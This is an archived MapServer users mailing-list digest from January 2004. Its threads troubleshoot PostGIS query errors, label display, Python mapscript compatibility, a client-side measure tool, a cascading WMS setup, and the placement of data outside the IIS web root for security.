Subject: [Mapserver-users] Error with MapServer and PostGIS in Query
Message-ID: <1074557126.400c70c681661@fiona.procalculo.com>

Hi,

I'm trying to execute a spatial query with MapServer on PostGIS and I received
the following error message:


Content-type: text/html  msPOSTGISLayerGetShape(): Query error. Error executing
POSTGIS SQL statement (in FETCH ALL): EXPLAIN VERBOSE SELECT * FROM nfs - Error
with POSTGIS data variable. You specified ''.
Standard ways of specifiying are :
(1) 'geometry_column from geometry_table'
(2) 'geometry_column from () as foo using unique  using
SRID='

Make sure you put in the 'using unique ' and 'using SRID=#' clauses in.

For more help, please see http://postgis.refractions.net/documentation.php

Mappostgis.c - version of Nov 15/2002.

I read the postgis documentation and I tried to create the indexes for the table
but it didn't work, I created the indexes the following way:

CREATE INDEX inx_nfs ON nfs ( oid );
CREATE INDEX GIST_inx_nfs ON nfs USING GIST (the_geom GIST_GEOMETRY_OPS );

where nfs is our table.

The definition of the layer in the map file is:

 LAYER # States polygon layer begins here
    NAME         nfs
    CONNECTIONTYPE postgis
    CONNECTION   "user=xxxx dbname=xxxxx"
    DATA         "the_geom from nfs"
    STATUS       OFF
    TYPE         POLYGON

    CLASS
      COLOR        255 0 0
      OUTLINECOLOR 0 0 0
      NAME "Ninos Fuera del Sistema"
      TEMPLATE "nfs.html"
    END
    
    HEADER "nfs_header.html"
    FOOTER "nfs_footer.html"
    
    TOLERANCE 3
    
    DUMP TRUE
    
  END
  

Some idea?

Thanks a lot!

Ricardo


From TMitchell at lignum.com  Mon Jan 19 16:57:43 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Mon, 19 Jan 2004 16:57:43 -0800
Subject: [Mapserver-users] Error with MapServer and PostGIS in Query
In-Reply-To: <1074557126.400c70c681661@fiona.procalculo.com>
Message-ID: 





> Content-type: text/html  msPOSTGISLayerGetShape(): Query error.
> Error executing
> POSTGIS SQL statement (in FETCH ALL): EXPLAIN VERBOSE SELECT * FROM
> nfs - Error
> with POSTGIS data variable. You specified ''.
> Standard ways of specifiying are :
> (1) 'geometry_column from geometry_table'
> (2) 'geometry_column from () as foo using unique  name> using
> SRID='

Hi Ricardo,
The error itself doesn't tell me that much.  What version of postgis and
postgresql are you using?  What operating system?
Have you tried running psql and doing the query: "Select the_geom from
nfs;"?   See if that works.  Quite often there is a permission problem.
You might want to try: "GRANT SELECT ON nfs TO PUBLIC;" and then see if
that helps.  Don't worry about indexes at this point, they only improve
performance and won't be giving you this error.  Were you able to create
indexes?  If not, what error did you get?  Could you do a describe on the
nfs table to show us the field names and types as well?  The first question
for me is "does nfs really exist?" :)

>
> Make sure you put in the 'using unique ' and 'using
> SRID=#' clauses in.
>
> For more help, please see
http://postgis.refractions.net/documentation.php
>
> Mappostgis.c - version of Nov 15/2002.
>
> I read the postgis documentation and I tried to create the indexes
> for the table
> but it didn't work, I created the indexes the following way:
>
> CREATE INDEX inx_nfs ON nfs ( oid );
> CREATE INDEX GIST_inx_nfs ON nfs USING GIST (the_geom GIST_GEOMETRY_OPS
);
>
> where nfs is our table.
>
> The definition of the layer in the map file is:
>
>  LAYER # States polygon layer begins here
>     NAME         nfs
>     CONNECTIONTYPE postgis
>     CONNECTION   "user=xxxx dbname=xxxxx"
>     DATA         "the_geom from nfs"
>     STATUS       OFF
>     TYPE         POLYGON
>
>     CLASS
>       COLOR        255 0 0
>       OUTLINECOLOR 0 0 0
>       NAME "Ninos Fuera del Sistema"
>       TEMPLATE "nfs.html"
>     END
>
>     HEADER "nfs_header.html"
>     FOOTER "nfs_footer.html"
>
>     TOLERANCE 3
>
>     DUMP TRUE
>
>   END
>
>
> Some idea?
>
> Thanks a lot!
>
> Ricardo
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From dblasby at refractions.net  Mon Jan 19 17:03:44 2004
From: dblasby at refractions.net (David Blasby)
Date: Mon, 19 Jan 2004 17:03:44 -0800
Subject: [Mapserver-users] Error with MapServer and PostGIS in Query
In-Reply-To: <1074557126.400c70c681661@fiona.procalculo.com>
References: <1074557126.400c70c681661@fiona.procalculo.com>
Message-ID: <400C7E70.10008@refractions.net>

Try updating your mappostgis.c to the CVS version.  You're probably 
running postgresql 7.4 which isnt compatible with your old mappostgis.c

dave



From pedro.carrasco at iver.es  Mon Jan 19 23:16:44 2004
From: pedro.carrasco at iver.es (Pedro A. Carrasco Ponce)
Date: Tue, 20 Jan 2004 08:16:44 +0100
Subject: [Mapserver-users] problem with mapserver 4 + label + shape
In-Reply-To: 
References: 
Message-ID: <400CD5DC.80907@iver.es>

collao_andres wrote:

> work with mapserver 4 + redhat 9 and I have problems to show the 
> originating labels from a layer that uses a SHAPE file
>  
> when defining labelitem does not show the layer in the map. but when 
> quiot the instruction labelitem, the layer appears without problems
> 
> some idea???

Have you any error in the output of mapserver? It seems like if the 
freetype library isn't not installed or similar. I have similar error 
time ago and was the freetype library, that wasn't included in the libgd 
compilation.

Regards

-- 
Pedro A. Carrasco Ponce




From mschulz at webgis.de  Mon Jan 19 23:31:21 2004
From: mschulz at webgis.de (Michael Schulz)
Date: Tue, 20 Jan 2004 08:31:21 +0100
Subject: [Mapserver-users] ZMapServer application online
In-Reply-To: 
References: 
Message-ID: <400CD949.10007@webgis.de>

Hi Tyler,

yes, the mapscript module is compiled with/for python 2.1.3.

I don't know what will happen if you try to use it with python 2.3, but 
you need to move mapscript.py and _mapscript.pyd to the site-packages 
directory.

I recommend using python 2.1.3 until we have a package for python 2.3.

Cheers, Michael


Tyler Mitchell schrieb:
> 
> 
> 
> 
>>Hi Tyler,
>>
>>there is mapserver wiki page, where i started to put some information on
>>python-mapscript for windows, also a python mapscript windows binary is
>>available.
>>
>>See:
>>http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PythonMapScriptWindowsBinary
>>
>>Cheers, Michael
> 
> 
> Thanks Michael,
> The windows install binary doesn't seem to find my python 2.3 install - is
> it looking for python 2.1?
> So I manually moved over mapscript.py into my 2.3 site-packages.  Now when
> I try to start zope I get:
> 
> "ImportError: No module named _mapscript"
> 
> Anyone has some tips on what I *should* be doing?
> 
> Tyler
> 
> 

-- 
-----------------------------------------------------------
Michael Schulz                                in medias res
Dipl.-Geologe                              Gesellschaft f?r
                                 Informationstechnologie mbH
                                      In den Weihermatten 66
		                             79108 Freiburg
                                      0761 55695-95 (Fax 96)
mschulz at webgis.de              www.webgis.de/www.zopecms.de



From stephane.riff at cerene.fr  Tue Jan 20 01:22:54 2004
From: stephane.riff at cerene.fr (=?ISO-8859-1?Q?St=E9phane_RIFF?=)
Date: Tue, 20 Jan 2004 10:22:54 +0100
Subject: [Mapserver-users] Mapserver 3.6.5 -> 3.6.7
Message-ID: <400CF36E.3080308@cerene.fr>

I use Postgres 7.2 and postgis 0.7.5, php 4.3.2....

I tried to upgrade phpmapscript from 3.6.5 to 3.6.7 and my application 
doesn't work anymore.
I get an error from postgresql :

   *    Warning: MapServer Error in prep_DB(): Error executing POSTGIS 
DECLARE (the actual query)     statement: 'DECLARE mycursor BINARY 
CURSOR FOR SELECT 
asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from 
giscontourfrance WHERE the_geom && setSRID('BOX3D(42370.624 
1616618.5,1203176.624 2677218.5)'::BOX3D, 
find_srid('','giscontourfrance','the_geom') )'

Postgresql reports the error ''
*
But when i launch this query from phpPgAdmin :

    *SELECT 
asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from 
giscontourfrance WHERE the_geom && setSRID('BOX3D(42370.624 
1616618.5,1203176.624 2677218.5)'::BOX3D, 
find_srid('','giscontourfrance','the_geom') )*

It works....

Can someone point me to use mapserver 3.6.7 because i want to upgrade 
postgresql 7.2.4 to 7.3.*
and only 3.6.7 support pgsql 7.3 ( I don't want to upgrade to mapserver 
4.0.1 now)

Thanks



From msmith at sanangelompo.org  Tue Jan 20 07:14:03 2004
From: msmith at sanangelompo.org (Michael Smith)
Date: Tue, 20 Jan 2004 09:14:03 -0600
Subject: [Mapserver-users] measure tool
Message-ID: <200401201012635.SM02320@PLANGIS>

What are some of the methods used to add a measuring tool to mapserver 4 cgi
on windows 2003 server running II6?  I would like to add a measure tool and
would like some suggestions or ways to accomplish this.  Any ideas or help
would really be appreciated.  Thank you.

Michael Smith, Planner II
City of San Angelo
Planning & Development
325.657.4210 Fax: 325.481.2648
Email: msmith at sanangelompo.org 



From sgillies at frii.com  Tue Jan 20 07:19:22 2004
From: sgillies at frii.com (Sean Gillies)
Date: Tue, 20 Jan 2004 08:19:22 -0700
Subject: [Mapserver-users] ZMapServer application online
In-Reply-To: <400CD949.10007@webgis.de>
References:  <400CD949.10007@webgis.de>
Message-ID: <069EA7F8-4B5C-11D8-B09D-000393B98B56@frii.com>

Tyler, Michael,

By next week I plan to have a MapScript for Python 2.3.3 that I will
distribute.  It will be single-threaded since I haven't yet had the
time to figure out how to build MapServer with Win32 pthreads.

BTW, Zope 2.6.3 and 2.7 have been cleared for use with Python 2.3.3
and so we can soon retire the old 2.1.3.

cheers,
Sean

On Jan 20, 2004, at 12:31 AM, Michael Schulz wrote:

> Hi Tyler,
>
> yes, the mapscript module is compiled with/for python 2.1.3.
>
> I don't know what will happen if you try to use it with python 2.3,  
> but you need to move mapscript.py and _mapscript.pyd to the  
> site-packages directory.
>
> I recommend using python 2.1.3 until we have a package for python 2.3.
>
> Cheers, Michael
>
>
> Tyler Mitchell schrieb:
>>> Hi Tyler,
>>>
>>> there is mapserver wiki page, where i started to put some  
>>> information on
>>> python-mapscript for windows, also a python mapscript windows binary  
>>> is
>>> available.
>>>
>>> See:
>>> http://mapserver.gis.umn.edu/cgi-bin/wiki.pl? 
>>> PythonMapScriptWindowsBinary
>>>
>>> Cheers, Michael
>> Thanks Michael,
>> The windows install binary doesn't seem to find my python 2.3 install  
>> - is
>> it looking for python 2.1?
>> So I manually moved over mapscript.py into my 2.3 site-packages.  Now  
>> when
>> I try to start zope I get:
>> "ImportError: No module named _mapscript"
>> Anyone has some tips on what I *should* be doing?
>> Tyler
>
> -- 
> -----------------------------------------------------------
> Michael Schulz                                in medias res
> Dipl.-Geologe                              Gesellschaft f?r
>                                 Informationstechnologie mbH
>                                      In den Weihermatten 66
> 		                             79108 Freiburg
>                                      0761 55695-95 (Fax 96)
> mschulz at webgis.de              www.webgis.de/www.zopecms.de
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>




From eric at gomoos.org  Tue Jan 20 07:18:12 2004
From: eric at gomoos.org (Eric Bridger)
Date: 20 Jan 2004 10:18:12 -0500
Subject: [Mapserver-users] draw a shape--use the MAXSCALE and label
 stuff defined in mapfile
In-Reply-To: 
References: 
Message-ID: <1074611897.1438.7.camel@ubet.gomoos.org>

On Sat, 2004-01-17 at 20:30, Ed Martin wrote:
> i'm drawing the individual shapes instead of just the layer to control 
> the shapes that get drawn but it isn't adding the label and it isn't 
> obeying the maxscale defined in the map file, how do i make it add the 
> label and have the maxscale, i'm using php/mapscript and here is a part 
> of what i have
> 
> $cities_layer = $map->getLayerByName('Cities');
> //open the layer
> $cities_layer->open();
> $city_shape = $cities_layer->getShape(-1, $city_id);
> $cities_layer->close();
> $city_shape->draw($map,$cities_layer,$image);
> $city_shape->free();
 
I'm pretty sure that when using mapscript you must handle all this
yourself if you are not using $cities_layer->draw().  
You can try setting:
$cities_layer->{text} = $my_label. You can grab the label from the dbf
file using something like XBase.pm.

You'll also need to calculate the scale yourself.
Here is a perl example:
#########################################
# from mapserver3.6.4: mapscale.c msCalculateScale().  This is not a
precision thing. We don't worry about
# msAdjustExtent() since in all our maps, image SIZE has same aspect
ratio as the map EXTENT.
sub calculateScale{
    my ($map) = @_;
    
    my $minx = $map->{extent}->{minx};
    my $maxx = $map->{extent}->{maxx};
    my @inchesPerUnit = (1, 12, 63360.0, 39.3701, 39370.1, 4374754);
    my $width = $map->{width};
    my $units = $map->{units}; # index into unitsPerUnit array
    my $resolution = $map->{resolution};
    my $md = $width / ($resolution * $inchesPerUnit[$units]);
    my $gd = $maxx - $minx;
    return($gd/$md);
}






From mathieu.levesque at cidco.ca  Tue Jan 20 07:39:41 2004
From: mathieu.levesque at cidco.ca (Mathieu Levesque)
Date: Tue, 20 Jan 2004 10:39:41 -0500
Subject: [Mapserver-users] Cascading mapserver
Message-ID: <400D4BBD.7060402@cidco.ca>




  
  


Hi everybody,



I've been trying to setup a cascading mapserver using the itasca demo
files but I can't get the cascading server to work ok.



If I connect directly to the originating WMS server, everything comes
up ok (both GetCapabilities and GetMap).



If I connect through the cascading WMS server, I can get the
Capabilities XML, but all GetMap requests come up with a 500 error.  In
the Apache log I can see the following errors:



[Tue Jan 20 10:17:57 2004] [error] [client 127.0.0.1] Premature end of
script headers: mapserv.exe

[Tue Jan 20 10:17:57 2004] [error] [client 127.0.0.1] ERROR 4:
`path/to/wmscascade/Images/107461187731640.img.tmp' not recognised as a
supported file format.



Here is my mapfile for the cascading server:



NAME MAP_CASCADE

STATUS ON

SIZE 600 600

EXTENT 388107.634400379 5203120.88405952 500896.339019834
5310243.30613897

UNITS METERS

FONTSET "Fonts/fonts.list"

IMAGECOLOR 255 255 255





WEB

    LOG "path\to\htdocs\wmscascade\cascade.log"

    IMAGEPATH "path/to/htdocs/wmscascade/Images/"

    IMAGEURL "wmscascade/Images"

      MINSCALE 1000

      MAXSCALE 1550000    

    

    METADATA

        WMS_TITLE "Test de serveur wms en cascade"

        WMS_ABSTRACT "Contient essentiellement le demo de mapserver"

        WMS_ACCESSCONSTRAINTS none

        

        WMS_ONLINERESOURCE "http://www.cidco.ca"

        

        WMS_SRS "EPSG:26915"

    END

END



DEBUG TRUE



LAYER

    NAME LIMITE_COMTES

    TYPE RASTER

    STATUS DEFAULT

    CONNECTIONTYPE WMS

    CONNECTION
"http://originating.server/cgi-bin/mapserv.exe?map=path\to\htdocs\mapserver_demos\demo.map&FORMAT=image/jpeg&"



    METADATA

        #Metadata pour acceder au serveur remote    

        wms_srs "EPSG:26915"

        wms_name "ctybdpy2"

        wms_server_version "1.1.0"

        wms_format "image/jpeg"

        

        #Metadata de la couche (pour publication

        wms_title "Limite des comtes"

        wms_abstract "Couche des limites des comtes"

    END

    

    DEBUG ON

    

END

        

        

END



And finally, the request URL:



http://127.0.0.1/cgi-bin/mapserv.exe?map=path\to\htdocs\wmscascade\cascade.map&VERSION=1.1.0&REQUEST=GetMap



Other detail that might be interesting:  I get nothing in the mapserver
log file that I specified (/wmscascade/cascade.log).



Does anybody have any clue?



Thanks in advance,



Mathieu



-- 
----------------------------------------
Mathieu Levesque,
Programmeur-Analyste,
Centre Interdisciplinaire de Développement
en Cartographie des Océans (CIDCO),
310, Allée des Ursulines,
Rimouski, QC,
G5L 3A1
Tél: (418) 723-1986, ext. 1792
Fax: (418) 724-1842
Courriel: mathieu.levesque at cidco.ca






From msmith at sanangelompo.org  Tue Jan 20 08:10:02 2004
From: msmith at sanangelompo.org (Michael Smith)
Date: Tue, 20 Jan 2004 10:10:02 -0600
Subject: [Mapserver-users] Mapserver Security Issues
Message-ID: <200401201108157.SM02320@PLANGIS>

Hi all,

I plan on running Mapserver on a Windows 2003 Server running IIS 6.  What
security issues should be considered for running Mapserver since I assume
many of you are currently hosting Mapserver on your webs.  Does anyone have
and suggestions, considerations, or web sites with any info on this?

One issue my IT dept. suggested was housing my "data" directory outside of
my IIS wwwroot folder...is this a security concern?

Michael Smith, Planner II
City of San Angelo
Planning & Development
325.657.4210 Fax: 325.481.2648
Email: msmith at sanangelompo.org 



From rich at greenwoodmap.com  Tue Jan 20 08:15:56 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Tue, 20 Jan 2004 09:15:56 -0700
Subject: [Mapserver-users] measure tool
In-Reply-To: <200401201012635.SM02320@PLANGIS>
References: <200401201012635.SM02320@PLANGIS>
Message-ID: <400D543C.8000107@greenwoodmap.com>

Michael Smith wrote:
> What are some of the methods used to add a measuring tool to mapserver 4 cgi
> on windows 2003 server running II6?  I would like to add a measure tool and
> would like some suggestions or ways to accomplish this.  Any ideas or help
> would really be appreciated.  Thank you.
> 
> Michael Smith, Planner II
> City of San Angelo
> Planning & Development
> 325.657.4210 Fax: 325.481.2648
> Email: msmith at sanangelompo.org 

What do you mean by a "measure tool"? I have implemented an interactive 
measure tool similar to what MapInfo and ArcView have. (You can see it 
at http://www2.tetonwyo.org/mapserver ). Or are you looking for 
something different?


-- 
Richard Greenwood
www.greenwoodmap.com


From pedro.carrasco at iver.es  Tue Jan 20 08:19:44 2004
From: pedro.carrasco at iver.es (Pedro A. Carrasco Ponce)
Date: Tue, 20 Jan 2004 17:19:44 +0100
Subject: [Mapserver-users] Mapserver Security Issues
In-Reply-To: <200401201108157.SM02320@PLANGIS>
References: <200401201108157.SM02320@PLANGIS>
Message-ID: <400D5520.7090404@iver.es>

Michael Smith wrote:

> Hi all,
> 
> I plan on running Mapserver on a Windows 2003 Server running IIS 6.  What
> security issues should be considered for running Mapserver since I assume
> many of you are currently hosting Mapserver on your webs.  Does anyone have
> and suggestions, considerations, or web sites with any info on this?
> 
> One issue my IT dept. suggested was housing my "data" directory outside of
> my IIS wwwroot folder...is this a security concern?

Yes, if you don't want that somebody can download your data. All your 
data (shapefiles, etc.) and databases if you use (access files, dbf's, 
db's, etc), must be in a directory outside of the IIS wwwroot folder.

Regards.

-- 
Pedro



From msmith at sanangelompo.org  Tue Jan 20 08:34:34 2004
From: msmith at sanangelompo.org (Michael Smith)
Date: Tue, 20 Jan 2004 10:34:34 -0600
Subject: [Mapserver-users] measure tool
In-Reply-To: <400D543C.8000107@greenwoodmap.com>
Message-ID: <200401201133650.SM02320@PLANGIS>

Yes, the one on your website is exactly the type of measure/distance tool
that I am looking for. 

-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Richard
Greenwood
Sent: Tuesday, January 20, 2004 10:16 AM
To: Michael Smith; mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] measure tool

Michael Smith wrote:
> What are some of the methods used to add a measuring tool to mapserver 
> 4 cgi on windows 2003 server running II6?  I would like to add a 
> measure tool and would like some suggestions or ways to accomplish 
> this.  Any ideas or help would really be appreciated.  Thank you.
> 
> Michael Smith, Planner II
> City of San Angelo
> Planning & Development
> 325.657.4210 Fax: 325.481.2648
> Email: msmith at sanangelompo.org

What do you mean by a "measure tool"? I have implemented an interactive
measure tool similar to what MapInfo and ArcView have. (You can see it at
http://www2.tetonwyo.org/mapserver ). Or are you looking for something
different?


--
Richard Greenwood
www.greenwoodmap.com
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From Daniel.A.Martin at erac.com  Tue Jan 20 08:46:54 2004
From: Daniel.A.Martin at erac.com (Martin, Daniel A)
Date: Tue, 20 Jan 2004 10:46:54 -0600
Subject: [Mapserver-users] Mapserver Security Issues
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A192CC3@STL-EXBE-I03.corp.erac.com>

Your data directory has no business inside wwwroot.  In fact, you should
have almost nothing inside wwwroot, including all of your templates, map
files, and data.

The only exceptions are:
-mapserver cgi itself
-rosa or mapplet if you use them
-init pages that set up your variables for specific mapping application
-the no-records query page, that (from my experience) must be available
directly as a URL

If you don't follow this guideline, it is very easy for someone to get
at your MapServer code (templates, map files, data, etc.).  And there is
absolutely no benefit to placing anything other than those things I
mention into wwwroot.

-Dan


> -----Original Message-----
> From: mapserver-users-admin at lists.gis.umn.edu 
> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> Michael Smith
> Sent: Tuesday, January 20, 2004 10:10 AM
> To: mapserver-users at lists.gis.umn.edu
> Subject: [Mapserver-users] Mapserver Security Issues
> 
> 
> Hi all,
> 
> I plan on running Mapserver on a Windows 2003 Server running 
> IIS 6.  What security issues should be considered for running 
> Mapserver since I assume many of you are currently hosting 
> Mapserver on your webs.  Does anyone have and suggestions, 
> considerations, or web sites with any info on this?
> 
> One issue my IT dept. suggested was housing my "data" 
> directory outside of my IIS wwwroot folder...is this a 
> security concern?
> 
> Michael Smith, Planner II
> City of San Angelo
> Planning & Development
> 325.657.4210 Fax: 325.481.2648
> Email: msmith at sanangelompo.org 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> 



From rich at greenwoodmap.com  Tue Jan 20 08:50:25 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Tue, 20 Jan 2004 09:50:25 -0700
Subject: [Mapserver-users] measure tool
In-Reply-To: <200401201133650.SM02320@PLANGIS>
References: <200401201133650.SM02320@PLANGIS>
Message-ID: <400D5C51.60909@greenwoodmap.com>

Michael Smith wrote:

> Yes, the one on your website is exactly the type of measure/distance tool
> that I am looking for. 

That type of measure tool runs entirely on the client - it does not 
depend on anything on the server. The measure tool on my site uses the 
Java applet "jBox". See:
    http://mapserver.gis.umn.edu/doc40/jbox-howto.html
If you do not want to deal with Java, I think there has also been some 
discussion of a DHTML implementation.

Rich

> Michael Smith wrote:
> 
>>What are some of the methods used to add a measuring tool to mapserver 
>>4 cgi on windows 2003 server running II6?  I would like to add a 
>>measure tool and would like some suggestions or ways to accomplish 
>>this.  Any ideas or help would really be appreciated.  Thank you.
>>

>  Richard Greenwood wrote:
> 
> What do you mean by a "measure tool"? I have implemented an interactive
> measure tool similar to what MapInfo and ArcView have. (You can see it at
> http://www2.tetonwyo.org/mapserver ). Or are you looking for something
> different?
> 
-- 
Richard Greenwood
www.greenwoodmap.com


From TMitchell at lignum.com  Tue Jan 20 09:08:51 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Tue, 20 Jan 2004 09:08:51 -0800
Subject: [Mapserver-users] ZMapServer application online
In-Reply-To: <400CD949.10007@webgis.de>
Message-ID: 





> I don't know what will happen if you try to use it with python 2.3, but
> you need to move mapscript.py and _mapscript.pyd to the site-packages
> directory.

FYI - This is what you get if you try this under Python 2.3:

  File "C:\Program
Files\Zope-2.7.0-b3\lib\python\Products\ZMapServer\ZMap.py", line 17, in ?
    from mapscript import *
  File "C:\Python23\lib\site-packages\mapscript.py", line 4, in ?
    import _mapscript
ImportError: Module use of python21.dll conflicts with this version of
Python.

I'll wait until Zmapserver is 2.3 compatible since my zope installation
uses it.  Thanks for the help Michael.

Tyler



From TMitchell at lignum.com  Tue Jan 20 09:01:05 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Tue, 20 Jan 2004 09:01:05 -0800
Subject: [Mapserver-users] Cascading mapserver
In-Reply-To: <400D4BBD.7060402@cidco.ca>
Message-ID: 





Mathieu,
Are these:
     LOG "path\to\htdocs\wmscascade\cascade.log"
     IMAGEPATH "path/to/htdocs/wmscascade/Images/"
      IMAGEURL "wmscascade/Images"

 Real paths on your machine?  They look like examples to me.

Mine, on linux are set to:
  LOG /srv/www/htdocs/tmp/mapserver.log
  IMAGEPATH /srv/www/htdocs/tmp
  IMAGEURL /tmp

This may be a problem for you?

mapserver-users-admin at lists.gis.umn.edu wrote on 01/20/2004 07:39:41 AM:

> Hi everybody,
>
> I've been trying to setup a cascading mapserver using the itasca
> demo files but I can't get the cascading server to work ok.
>
> If I connect directly to the originating WMS server, everything
> comes up ok (both GetCapabilities and GetMap).
>
> If I connect through the cascading WMS server, I can get the
> Capabilities XML, but all GetMap requests come up with a 500 error.
> In the Apache log I can see the following errors:
>
> [Tue Jan 20 10:17:57 2004] [error] [client 127.0.0.1] Premature end
> of script headers: mapserv.exe
> [Tue Jan 20 10:17:57 2004] [error] [client 127.0.0.1] ERROR 4:
> `path/to/wmscascade/Images/107461187731640.img.tmp' not recognised
> as a supported file format.
>
> Here is my mapfile for the cascading server:
>
> NAME MAP_CASCADE
> STATUS ON
> SIZE 600 600
> EXTENT 388107.634400379 5203120.88405952 500896.339019834
5310243.30613897
> UNITS METERS
> FONTSET "Fonts/fonts.list"
> IMAGECOLOR 255 255 255
>
>
> WEB
>     LOG "path\to\htdocs\wmscascade\cascade.log"
>     IMAGEPATH "path/to/htdocs/wmscascade/Images/"
>     IMAGEURL "wmscascade/Images"
>       MINSCALE 1000
>       MAXSCALE 1550000
>
>     METADATA
>         WMS_TITLE "Test de serveur wms en cascade"
>         WMS_ABSTRACT "Contient essentiellement le demo de mapserver"
>         WMS_ACCESSCONSTRAINTS none
>
>         WMS_ONLINERESOURCE "http://www.cidco.ca"
>
>         WMS_SRS "EPSG:26915"
>     END
> END
>
> DEBUG TRUE
>
> LAYER
>     NAME LIMITE_COMTES
>     TYPE RASTER
>     STATUS DEFAULT
>     CONNECTIONTYPE WMS
>     CONNECTION "http://originating.server/cgi-bin/mapserv.exe?
> map=path\to\htdocs\mapserver_demos\demo.map&FORMAT=image/jpeg&"
>
>     METADATA
>         #Metadata pour acceder au serveur remote
>         wms_srs "EPSG:26915"
>         wms_name "ctybdpy2"
>         wms_server_version "1.1.0"
>         wms_format "image/jpeg"
>
>         #Metadata de la couche (pour publication
>         wms_title "Limite des comtes"
>         wms_abstract "Couche des limites des comtes"
>     END
>
>     DEBUG ON
>
> END
>
>
> END
>
> And finally, the request URL:
>
> http://127.0.0.1/cgi-bin/mapserv.exe?
> map=path\to\htdocs\wmscascade\cascade.map&VERSION=1.1.0&REQUEST=GetMap
>
> Other detail that might be interesting:  I get nothing in the
> mapserver log file that I specified (/wmscascade/cascade.log).
>
> Does anybody have any clue?
>
> Thanks in advance,
>
> Mathieu
> --
> ----------------------------------------
> Mathieu Levesque,
> Programmeur-Analyste,
> Centre Interdisciplinaire de D?veloppement
> en Cartographie des Oc?ans (CIDCO),
> 310, All?e des Ursulines,
> Rimouski, QC,
> G5L 3A1
> T?l: (418) 723-1986, ext. 1792
> Fax: (418) 724-1842
> Courriel: mathieu.levesque at cidco.ca
> _______________________________________________ Mapserver-users
> mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.
> edu/mailman/listinfo/mapserver-users




From mathieu.levesque at cidco.ca  Tue Jan 20 10:17:36 2004
From: mathieu.levesque at cidco.ca (Mathieu Levesque)
Date: Tue, 20 Jan 2004 13:17:36 -0500
Subject: [Mapserver-users] Cascading mapserver
In-Reply-To: 
References: 
Message-ID: <400D70C0.1080200@cidco.ca>

Hi Tyler,

>Mathieu,
>Are these:
>     LOG "path\to\htdocs\wmscascade\cascade.log"
>     IMAGEPATH "path/to/htdocs/wmscascade/Images/"
>      IMAGEURL "wmscascade/Images"
>
> Real paths on your machine?  They look like examples to me.
>
>Mine, on linux are set to:
>  LOG /srv/www/htdocs/tmp/mapserver.log
>  IMAGEPATH /srv/www/htdocs/tmp
>  IMAGEURL /tmp
>
>This may be a problem for you?
>  
>
I wrote those paths myself in the mail, they are different in my 
scripts, and they correspond to actual directories on my machine.

-- 
----------------------------------------
Mathieu Levesque,
Programmeur-Analyste,
Centre Interdisciplinaire de D?veloppement
en Cartographie des Oc?ans (CIDCO),
310, All?e des Ursulines,
Rimouski, QC,
G5L 3A1
T?l: (418) 723-1986, ext. 1792
Fax: (418) 724-1842
Courriel: mathieu.levesque at cidco.ca




From mathieu.levesque at cidco.ca  Tue Jan 20 10:29:16 2004
From: mathieu.levesque at cidco.ca (Mathieu Levesque)
Date: Tue, 20 Jan 2004 13:29:16 -0500
Subject: [Mapserver-users] Cascading mapserver
In-Reply-To: <400D6097.1080900@pobox.com>
References: <400D4BBD.7060402@cidco.ca> <400D54E4.8040401@pobox.com> <400D5699.2080208@cidco.ca> <400D6097.1080900@pobox.com>
Message-ID: <400D737C.9000208@cidco.ca>

Hi again,

>>
>>> I assume the log doesn't literally
>>> say "path/to/wmscascade/Images" does it?  
>>
>>
>>
>> Of course not. :)
>
>
> No offence, but there are people who literally transcribe that sort
> of path into mapfiles without realizing they are supposed to customize 
> it.
>
None taken!

>> Is there any way I can see the communications between the "cascading" 
>> server and the "originating" server?
>
>
> I think you can see a bit of information if you run on MapServer 
> debugging.
> What I normally do is:
>
>  o comment the two unlinks in mapwmslayer.c out, so the temporary 
> files aren't
>    deleted.
>
>  o enabled debugging.  I think there is a debug keyword you can put in 
> the
>    .map file.  If you can reproduce problems with shp2img then use the
>    "-all_debug 1" option.
>
>  o Run the whole thing in the debugger stepping through some of the code
>    in mapwmslayer.c.

Thanks, I'll try to see if I can find anything this way.

> I think you were trying to use MapServer as a cascading WMS, right?  
> If you
> are having problems with WMS layers I would suggest invoking the 
> service at
> the commandline with shp2img instead of via the web.  Once you have 
> things
> working smoothly via shp2img, then proceed to WMS invocation of the 
> service.

That's the thing, if I go directly to the first WMS server using a 
browser, I get everything I want, so that leads me to believe that 
server is setup just fine.  It's when I try going through the cascading 
server (WMS Client if you prefer) that the problems show up...

Thanks again for everything,

Mathieu

-- 
----------------------------------------
Mathieu Levesque,
Programmeur-Analyste,
Centre Interdisciplinaire de D?veloppement
en Cartographie des Oc?ans (CIDCO),
310, All?e des Ursulines,
Rimouski, QC,
G5L 3A1
T?l: (418) 723-1986, ext. 1792
Fax: (418) 724-1842
Courriel: mathieu.levesque at cidco.ca




From mathieu.levesque at cidco.ca  Tue Jan 20 10:43:19 2004
From: mathieu.levesque at cidco.ca (Mathieu Levesque)
Date: Tue, 20 Jan 2004 13:43:19 -0500
Subject: [Mapserver-users] Cascading mapserver
In-Reply-To: <400D70C0.1080200@cidco.ca>
References:  <400D70C0.1080200@cidco.ca>
Message-ID: <400D76C7.3070207@cidco.ca>

Got it!

Turns out those infamous "path/to" contained directories with spaces in 
them, and I had not replaced the spaces with %20 special characters in 
my map file.

